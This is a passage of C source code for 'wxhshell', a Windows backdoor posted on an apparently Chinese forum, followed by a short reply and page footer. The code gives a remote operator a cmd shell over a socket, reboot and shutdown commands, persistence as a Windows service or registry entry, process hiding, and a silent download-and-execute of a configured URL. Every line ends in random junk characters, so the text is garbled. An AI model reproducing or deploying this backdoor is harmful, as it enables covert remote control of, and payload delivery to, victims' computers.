  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Te&w9K  
  else :es=T`("A8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t >Rh  
  } B &3sV+  
  else { Kaji&Ibd  
o3:BH@@  
    switch(cmd[0]) { D5Z)"~'  
  a'O-0]g,  
  // 帮助 JW"n#sR4  
  case '?': { Bve',.xH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eV"Uv3  
    break; FM|3'a-z  
  } .UvDew/Y  
  // 安装 ,:0!+1  
  case 'i': { ((M>To_l  
    if(Install()) fh` }~ aQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z G`|)  
    else V`G^Jyj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w%(D4ldp   
    break; k7]4TIUD*  
    } <@c@`K  
  // 卸载 g!Ui|]BI9  
  case 'r': { # hw;aQ  
    if(Uninstall()) |W}D_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 c ]]  
    else d+"F(R9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cv. j  
    break; m%c]+Our`  
    } qKE+,g'  
  // 显示 wxhshell 所在路径 yh'*eli  
  case 'p': { (px3o'lsh  
    char svExeFile[MAX_PATH]; ^2i$AM1t  
    strcpy(svExeFile,"\n\r"); 8!MVDp[|"  
      strcat(svExeFile,ExeFile); Hm+VGH'H?  
        send(wsh,svExeFile,strlen(svExeFile),0); )S}.QrG  
    break; Q]OR0-6<.  
    } WkV0,_(P  
  // 重启 ft~QVe!  
  case 'b': { 'r1X6?d J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :_Iz( 2hV  
    if(Boot(REBOOT)) u/xP$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r4 qs!(  
    else { Z_>:p^id  
    closesocket(wsh); ->Fsmb+R  
    ExitThread(0); Ox@$ }  
    } !E,|EdIr  
    break; 7/K'nA  
    } w }8=sw  
  // 关机 l9 n$cv^  
  case 'd': { 09i7 7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vddod  
    if(Boot(SHUTDOWN)) XANJA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sXYXBX[  
    else { 5C9 .h:c4y  
    closesocket(wsh); rS+ >oP}  
    ExitThread(0); z?GtC{L9  
    } 'a$/ !~X  
    break; 99n;%W>  
    } M0hR]4T  
  // 获取shell g!i45]6[Nw  
  case 's': { Z% ]LZ/O8  
    CmdShell(wsh); %}unlSTPP  
    closesocket(wsh); }H/94]~tH  
    ExitThread(0); e0IGx]5i  
    break; lB7/oa1]>  
  } iz+,,UH  
  // 退出 2}_^~8  
  case 'x': { Sg13Dp @x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5!jt^i]O  
    CloseIt(wsh); D0L s~qr  
    break; Ga` 8oY+~  
    } pV1 ;gqXNS  
  // 离开 0*j\i@  
  case 'q': { 3f:]*U+O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '1d0 *5+6k  
    closesocket(wsh); Hi U/fi`  
    WSACleanup(); #v4^,$k>  
    exit(1); fT<3~Z>m  
    break; {;o54zuKf  
        } qat'Vj,  
  } \*pS 4vy5x  
  } ClufP6'  
^c"\%!w"O  
  // 提示信息 Psm9hP :m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |T-Y tuy8  
} }S%}%1pG7  
  } ES#q/yab5  
Mb97S]878I  
  return; Ifq|MZ\  
} 9e&*+ +vf  
mA #^Pv*  
// shell模块句柄 jU}  
int CmdShell(SOCKET sock) (1'sBm7F  
{ r^Soqom3  
STARTUPINFO si; @@}muW>;T  
ZeroMemory(&si,sizeof(si)); K k^!P*#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G#='*v OtO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6!){-IV  
PROCESS_INFORMATION ProcessInfo; J+`gr_&  
char cmdline[]="cmd"; TC ;Aj|)N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [7[$P.MS{  
  return 0; uL^X$8K;(  
} \\ZhM  
r%LG>c`^  
// 自身启动模式 [p )2!]y  
int StartFromService(void) y }h2  
{ YL[y3&K  
typedef struct <4^y7]] F  
{ u%Z4 8wr  
  DWORD ExitStatus; aZmbt,.V  
  DWORD PebBaseAddress; {q&A/  
  DWORD AffinityMask; p4K 8L'nZ  
  DWORD BasePriority; @s\}ER3  
  ULONG UniqueProcessId; =4Jg6JKYg  
  ULONG InheritedFromUniqueProcessId; 2O2d*Ld>  
}   PROCESS_BASIC_INFORMATION; (unJwh{7Q  
YLV$#a3  
PROCNTQSIP NtQueryInformationProcess; D~TK'&  
oJI+c+e"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W\e!rq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nt[&rO3s  
:k~ p=ko  
  HANDLE             hProcess; 54 f?YR  
  PROCESS_BASIC_INFORMATION pbi; /|<0,ozoJ  
jQ(%LYX$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d"+ _`d=`  
  if(NULL == hInst ) return 0; D.h<!?E%  
:5:_Dr<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QFhQfn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h5))D!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |G)bnmi7  
CS"p3$7,  
  if (!NtQueryInformationProcess) return 0; =gSACDTc  
eh3CVgH91;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dw7h@9\ y  
  if(!hProcess) return 0; HGW;]8xl  
[wJl]i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XP65  
tNW0 C]  
  CloseHandle(hProcess); ]8opI\  
E8We2T[^M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D&8*4>  
if(hProcess==NULL) return 0; ,q Bu5t  
l" H/PB<.  
HMODULE hMod; zx5t gZd,N  
char procName[255]; *Rj*%S  
unsigned long cbNeeded; |CjdmQ u  
!|#1z}(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H, O_l%  
kC+dQ&@g{  
  CloseHandle(hProcess); v=+>ids  
*\[GfTL  
if(strstr(procName,"services")) return 1; // 以服务启动 OH~I+=}.  
m*TJ@gI*t  
  return 0; // 注册表启动 k12mxR/  
} $h'>Zvf  
GoKMi[b  
// 主模块 ?s: 2~Qlu  
int StartWxhshell(LPSTR lpCmdLine) |7G=f9V  
{ T<ekDhlr  
  SOCKET wsl; 5LxzET"P  
BOOL val=TRUE; ((Wq  
  int port=0; I4 4bm?[S  
  struct sockaddr_in door; Ea3 4x  
U^$l$"~"  
  if(wscfg.ws_autoins) Install(); LpSd/_^b  
%:.00F([r  
port=atoi(lpCmdLine); a7l-kG=R;  
Hd=!  
if(port<=0) port=wscfg.ws_port; oJEjg>%n  
t8b,@J`R  
  WSADATA data; cBnB(t%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L+" 5g@  
'=m ?l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3 ?DM AV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -o0~xspF  
  door.sin_family = AF_INET; {-\VX2:;[9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2<5s0GT'/  
  door.sin_port = htons(port); NU|T`gP  
YQ<O .E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]]bL;vlw  
closesocket(wsl); 1rhQ{6  
return 1; ;-T%sRI:|  
} :. a}pgh  
1:lhZFZ  
  if(listen(wsl,2) == INVALID_SOCKET) { v#`P?B\  
closesocket(wsl); s&zg!~@5b  
return 1; cwA+?:Ry}  
} p[-bu B]  
  Wxhshell(wsl);  &+Pcu5  
  WSACleanup(); ]w|,n2DG  
zi}dQsy6  
return 0; -|xyj2M  
g4*]R>f  
} 20H$9M=}  
vZpt}u  
// 以NT服务方式启动 W%RjjL J@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y$?<y   
{ slMWk;fmD}  
DWORD   status = 0; ?I.<mdhN#t  
  DWORD   specificError = 0xfffffff; geu8$^  
z,B'I.)M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NbnuQPb'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X+T +y>e a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fhp][)g;  
  serviceStatus.dwWin32ExitCode     = 0; I 0}+}{M:  
  serviceStatus.dwServiceSpecificExitCode = 0; E6d0YgfD  
  serviceStatus.dwCheckPoint       = 0; n/5)}( }K  
  serviceStatus.dwWaitHint       = 0; HLcK d`$/  
&Q"Ox{~W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '\X<+Sm'  
  if (hServiceStatusHandle==0) return; /Hl]$sJY  
_S;L| 1>S  
status = GetLastError(); )/F1,&/N`e  
  if (status!=NO_ERROR) =<,AzuV  
{ k;pTOj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SD^6ib/]b  
    serviceStatus.dwCheckPoint       = 0; xI7; (o"  
    serviceStatus.dwWaitHint       = 0; $=GZ"%ED  
    serviceStatus.dwWin32ExitCode     = status; #:?vpV#i  
    serviceStatus.dwServiceSpecificExitCode = specificError; e&(Di,%:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jz2W/EE`w  
    return; QNH5Cq;Y  
  } 3N,!y  
uiIY,FL$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N8| ;X  
  serviceStatus.dwCheckPoint       = 0; q E`  
  serviceStatus.dwWaitHint       = 0; 3g]Sp/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tc'` 4O]c8  
} L 59q\_|  
rSVU|O3m;  
// 处理NT服务事件,比如:启动、停止 fN TPW]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I2=?H <  
{ sCFqz[I  
switch(fdwControl) 8L<GAe  
{ zl j%v/9  
case SERVICE_CONTROL_STOP: it~>)_7*P  
  serviceStatus.dwWin32ExitCode = 0; ^L(}cO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;$\d^i{N  
  serviceStatus.dwCheckPoint   = 0; "$tP>PO{<  
  serviceStatus.dwWaitHint     = 0; S&@uY#_(*T  
  { xhIC["z5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FXPw 5  
  } hYW<4{Gjr  
  return; DM%4 V|F"  
case SERVICE_CONTROL_PAUSE: =kUN ^hb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b:nHcxDU<  
  break; i# 1:DiF  
case SERVICE_CONTROL_CONTINUE: <5Jp2x#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .h2K$(/  
  break; WX} "Pj/6  
case SERVICE_CONTROL_INTERROGATE: 47xJ(yO  
  break; ~)#JwY  
}; gNO<`9q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0FF x  
} Oi=>Usd  
YN ~ 7nOw  
// 标准应用程序主函数 k 4+F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >*v^E9Y  
{ s:UQ~p}"S  
V Z[[zYe  
// 获取操作系统版本 $*bd})y)I  
OsIsNt=GetOsVer(); 99}n %(V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N6Fj} m&E  
z&o"K\y\  
  // 从命令行安装 2 fX-J  
  if(strpbrk(lpCmdLine,"iI")) Install(); U<**Est  
`<h}Ygo>k/  
  // 下载执行文件 \5$N> 2kO  
if(wscfg.ws_downexe) { _W4i?Bde  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \w!G  
  WinExec(wscfg.ws_filenam,SW_HIDE); ki#O ^vl  
} gg(^:`+  
w<<G}4~u|  
if(!OsIsNt) { z6 v RTY  
// 如果时win9x,隐藏进程并且设置为注册表启动 Eoug/we  
HideProc(); ;K[`o/#4"  
StartWxhshell(lpCmdLine); Q9N=yz  
} Uc6BI$Fmz  
else kn_%'7  
  if(StartFromService()) m-lUgx7  
  // 以服务方式启动 Cyxt EzPp  
  StartServiceCtrlDispatcher(DispatchTable); `5;O|qRq  
else #e0tT+  
  // 普通方式启动 !6ZkLE[XJ<  
  StartWxhshell(lpCmdLine); 3VbQDPG  
ip4:px-  
return 0; C26PQGo#$  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五